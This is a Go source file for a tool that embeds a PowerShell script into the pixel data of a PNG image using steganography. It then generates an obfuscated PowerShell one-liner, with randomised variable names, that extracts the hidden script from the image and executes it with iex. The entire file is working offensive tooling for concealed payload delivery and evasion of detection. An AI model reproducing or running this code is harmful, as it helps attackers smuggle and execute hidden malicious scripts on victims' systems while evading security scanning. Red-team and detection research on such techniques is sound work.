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package main
import (
"flag"
"fmt"
"image"
"image/color"
"image/png"
"os"
"path/filepath"
"math/rand"
"regexp"
"strings"
"time"
)
const keySpace = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
func obfuscate(template string, length int) (string, error) {
if length <= 0 {
return "", fmt.Errorf("[err] length must be a positive integer")
}
placeholderValues := make(map[string]string)
re := regexp.MustCompile(`<%=obf (.*?) %>`)
result := re.ReplaceAllStringFunc(template, func(match string) string {
placeholder := re.FindStringSubmatch(match)[1]
if val, exists := placeholderValues[placeholder]; exists {
return val
}
var randomString strings.Builder
for i := 0; i < length; i++ {
randomString.WriteByte(keySpace[rand.Intn(len(keySpace))])
}
placeholderValues[placeholder] = randomString.String()
return placeholderValues[placeholder]
})
return result, nil
}
func embedScriptInPNG(scriptPath, outPath, imagePath, execPath string) (string, error) {
scriptBytes, err := os.ReadFile(scriptPath)
if err != nil {
return "", fmt.Errorf("[err] reading script file: %v\n", err)
}
if len(scriptBytes) == 0 {
return "", fmt.Errorf("[err] script file is empty\n")
}
fmt.Printf("[inf] script size: %d bytes\n", len(scriptBytes))
scriptPath, err = filepath.Abs(scriptPath)
if err != nil {
return "", fmt.Errorf("[err] resolving script path: %v\n", err)
}
imagePath, err = filepath.Abs(imagePath)
if err != nil {
return "", fmt.Errorf("[err] resolving image path: %v\n", err)
}
outPath, err = filepath.Abs(outPath)
if err != nil {
return "", fmt.Errorf("[err] resolving output path: %v\n", err)
}
file, err := os.Open(imagePath)
if err != nil {
return "", fmt.Errorf("[err] opening input png file: %v\n", err)
}
defer file.Close()
stat, err := file.Stat()
if err != nil {
return "", fmt.Errorf("[err] getting file info: %v\n", err)
}
fmt.Printf("[inf] image size: %d bytes\n", stat.Size())
img, err := png.Decode(file)
if err != nil {
return "", fmt.Errorf("[err] decoding png: %v\n", err)
}
bounds := img.Bounds()
width, height := bounds.Max.X, bounds.Max.Y
fmt.Printf("[inf] png dimensions: %dx%d\n", width, height)
if len(scriptBytes) > width*height {
return "", fmt.Errorf("[err] script too large (%d bytes) for png (%d pixels)\n", len(scriptBytes), width*height)
}
newImg := image.NewRGBA(image.Rect(0, 0, width, height))
for y := 0; y < height; y++ {
for x := 0; x < width; x++ {
r, g, b, a := img.At(x, y).RGBA()
newImg.SetRGBA(x, y, color.RGBA{
R: uint8(r >> 8),
G: uint8(g >> 8),
B: uint8(b >> 8),
A: uint8(a >> 8),
})
}
}
for y := 0; y < height; y++ {
for x := 0; x < width; x++ {
index := y*width + x
if index < len(scriptBytes) {
byteValue := scriptBytes[index]
r, g, b, a := newImg.At(x, y).RGBA()
newR := (r & 0xF0) | uint32(byteValue>>4)
newG := (g & 0xF0) | uint32(byteValue&0x0F)
newImg.SetRGBA(x, y, color.RGBA{
R: uint8(newR),
G: uint8(newG),
B: uint8(b),
A: uint8(a),
})
}
}
}
outFile, err := os.Create(outPath)
if err != nil {
return "", fmt.Errorf("[err] creating output file: %v\n", err)
}
defer outFile.Close()
if err := png.Encode(outFile, newImg); err != nil {
return "", fmt.Errorf("[err] encoding png: %v\n", err)
}
fmt.Printf("[inf] created output file: %s\n", outPath)
template := `sal <%=obf a %> new-object;add-type -a system.drawing;$<%=obf g %>=<%=obf a %> system.drawing.bitmap("%s");$<%=obf o %>=<%=obf a %> byte[] %d;(0..%d)|%%{foreach($<%=obf x %> in 0..%d) {$<%=obf p %>=$<%=obf g %>.getpixel($<%=obf x %>,$_);$<%=obf o %>[$_*%d+$<%=obf x %>]=[math]::floor(($<%=obf p %>.r -band 0x0f)*16) + ($<%=obf p %>.g -band 0x0f);}};$<%=obf g %>.dispose();iex([system.text.encoding]::ascii.getstring($<%=obf o %>[0..%d]))`
rand.Seed(time.Now().UnixNano())
obfTemplate, err := obfuscate(template, 16)
if err != nil {
return "", fmt.Errorf("[err] obfuscating powershell: %v", err)
}
psCmd := fmt.Sprintf(obfTemplate,
execPath,
width*height,
height-1,
width-1,
width,
len(scriptBytes)-1,
)
return psCmd, nil
}
func main() {
imagePath := flag.String("image", "", "input png file")
scriptPath := flag.String("script", "", "powershell script file to embed")
execPath := flag.String("exec", "", "execution path for decoder")
outPath := flag.String("out", "", "output png file")
flag.Parse()
if *scriptPath == "" || *outPath == "" || *imagePath == "" || *execPath == "" {
fmt.Println("go implementation to embed powershell scripts into png images using steganography")
fmt.Println("use the powershell one-liner to decode and iex the embedded script")
flag.PrintDefaults()
os.Exit(1)
}
psCmd, err := embedScriptInPNG(*scriptPath, *outPath, *imagePath, *execPath)
if err != nil {
fmt.Printf("[err] failed to embed script: %v\n", err)
os.Exit(1)
}
fmt.Printf("[inf] successfully embedded %s into %s\n", *scriptPath, *outPath)
fmt.Printf("[inf] powershell decoder snippet:\n")
fmt.Println(psCmd)
}
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